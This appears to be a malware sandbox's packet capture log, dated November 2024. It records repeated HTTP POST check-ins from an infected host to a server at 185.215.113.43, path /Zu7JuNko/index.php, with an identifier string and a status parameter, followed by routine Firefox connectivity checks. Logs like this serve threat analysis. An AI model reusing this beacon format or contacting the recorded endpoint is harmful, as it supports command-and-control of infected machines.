Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	50272	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:21.147687912 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:27:22.543318033 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	50273	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:24.282331944 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:27:25.660631895 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	50274	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:27.301002979 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:27:28.730446100 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	50275	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:30.480273008 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:27:31.866760969 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	50276	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:33.499219894 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:27:34.884912968 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	50277	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:36.619812012 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:27:37.953023911 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	50278	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:39.595241070 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:27:41.075438023 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	50279	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:42.814991951 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:27:44.214997053 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	50280	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:45.852092028 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:27:47.225702047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	50281	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:48.973095894 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:27:50.406506062 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	50282	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:52.049554110 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:27:53.488368034 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	50283	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:55.229686022 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:27:56.677299023 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	50284	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:27:58.306865931 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:27:59.811882973 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:27:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	50285	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:01.546050072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:28:02.938258886 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	50286	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:04.564168930 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:28:05.946402073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	50287	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:07.682152987 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:28:09.013958931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	50288	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:10.641376019 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:28:12.084506989 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	50289	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:13.820333004 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:28:15.254122972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	50290	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:16.899292946 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:28:18.308129072 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	50291	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:20.055808067 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:28:21.489393950 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	50292	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:23.115906954 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:28:24.552443027 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	50293	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:26.293865919 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:28:27.634975910 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	50296	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:28.804560900 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:28:29.889868975 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 78214 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:28:39.932641029 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:28:50.124902010 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:28:52.956998110 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 15:28:53.271683931 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 78238 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:29:03.324376106 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:29:13.524600029 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:29:23.727516890 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:29:33.927985907 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:29:44.127082109 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:29:54.326816082 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:30:04.526701927 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:30:07.474490881 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
